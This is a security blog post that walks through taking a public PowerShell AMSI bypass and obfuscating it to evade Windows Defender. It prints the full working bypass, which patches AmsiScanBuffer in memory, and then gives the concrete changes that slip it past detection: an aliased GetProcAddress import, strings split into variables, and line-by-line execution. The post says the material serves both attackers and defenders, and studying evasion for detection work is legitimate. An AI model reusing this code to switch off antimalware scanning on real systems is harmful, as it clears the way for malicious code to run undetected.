Feb 10, 2025 3:58:53 PM | Understanding Manual Obfuscation Techniques

Bypassing AMSI detection in PowerShell involves obfuscation techniques to evade antivirus alerts, providing insights for both offensive and defensive cybersecurity practices.

Whether you’re on the offensive or defensive side of cybersecurity, understanding common evasion techniques for executing malicious code is essential. Some methods are more complex, while others are as simple as modifying or removing text. A valuable practice is to take a known AMSI (Antimalware Scan Interface) bypass with identifiable signatures and analyze what is required to make it execute while evading detection. This approach can be useful in various scenarios, such as identifying malicious code during a security assessment or helping threat hunters explore new alerting opportunities for detecting malicious activity.

Testing AMSI's Response to Malicious Code

The first step is to have a good test to see if AMSI is working before trying to bypass detection. Thanks to blogs like this one from Black Hills Information Security, we have a few strings we can use to verify AMSI is working.


‘AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386’



 

After disabling Real-time Protection, we have a good test to determine if AMSI was bypassed successfully, as can be seen in the screenshot below. We will use this test later on to verify the AMSI bypass executed successfully.


 
 


Obfuscating an AMSI Bypass

I chose Rasta Mouse's AMSI bypass as a starting point because it has known signatures as a file on disk and during runtime.


$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)


Since this AMSI bypass is PowerShell-based, you can verify detection by pasting it into PowerShell. This will either cause the command prompt to close or to trigger an alert or warning about a malicious script, similar to the previous tests we used to verify that AMSI is functioning correctly.

 

 

Identifying Malicious Signatures

There are many ways to obfuscate malicious code, but the first step is determining if there are any known signatures for the code you're executing. These signatures can include common strings or known execution patterns. 

A good starting point is to run the payload through Threat Check, which helps identify where to begin modifying the code to evade detection. This will give us the following results:


 

Next, I’ll remove lines of code to see if that eliminates the signature and helps pinpoint what AMSI is flagging as malicious. Based on the output from Threat Check, the issue appears to be related to a few specific lines:

$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")

Now that we've identified the problematic line, the next step is to modify it in order to determine which part is flagged as malicious. In this case, GetProcAddress is the culprit, which can be confirmed by changing it to something like ProcAddress.

That change alone will break the bypass, so an additional modification is needed—renaming the function and adding an entry point to the DLL import for that function.

[DllImport("kernel32", EntryPoint="GetProcAddress")]
public static extern IntPtr ProcAddress(IntPtr hModule, string procName);

Pinpointing Signatures During Execution

Once the signatures are removed, the final step is to check for any runtime alerts triggered by the modified code. I find it effective to step through each line one at a time until an alert is triggered. If you paste the full payload into PowerShell, it will likely result in a familiar alert about malicious content.

 

As expected, another alert is triggered when executing the lines of modified code one at a time.

 

At this stage, it becomes more challenging to pinpoint exactly where the malicious code is being flagged, which may require rewriting portions of the code. A simpler approach, however, is to start by breaking up identifiable strings, such as "amsi.dll" and "AmsiScanBuffer." 

While this won’t work for all cases, it offers a quick and low-effort modification to attempt. For this example, the next step will be to split these strings into random variables. Below is the code that will be modified from the original bypass.

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")

Since this is being executed in PowerShell, the only modifications needed are a few additional variables to split up the strings "amsi.dll" and "Amsi." This would result in something like the following:

$z1 = "msi"
$z2 = ".dll"
$z3 = "A"
$z4 = "a"

$LoadLibrary = [Win32]::LoadLibrary($z4+$z1+$z2)
$Address = [Win32]::ProcAddress($LoadLibrary, $z3+$z1+ "Scan" + "Buffer")

Even with this modification, attempting to execute the code still results in another alert and the malicious content error message that we received earlier:

 

 

Although pasting the content directly into the PowerShell window may not work, that doesn’t mean the AMSI bypass won’t be successful. The execution can still be broken up further to achieve success. Specifically, this is achieved by executing each line individually within PowerShell, which will allow the bypass to succeed. 

In the screenshot below, I show how I used the string that triggered AMSI at the beginning of this blog, executing it just before and after the AMSI bypass to demonstrate its success.

Conclusion

There are many ways to manually obfuscate code and this blog covers just a few methods for bypassing alerts. While these techniques won’t work in every case, it’s valuable to explore how to evade defenses from both an offensive and defensive perspective—especially when verifying if alerts trigger at different stages of malicious activity. Hopefully, this insight will prove useful for offensive and defensive security practitioners alike.

 

Written By: Wes Harden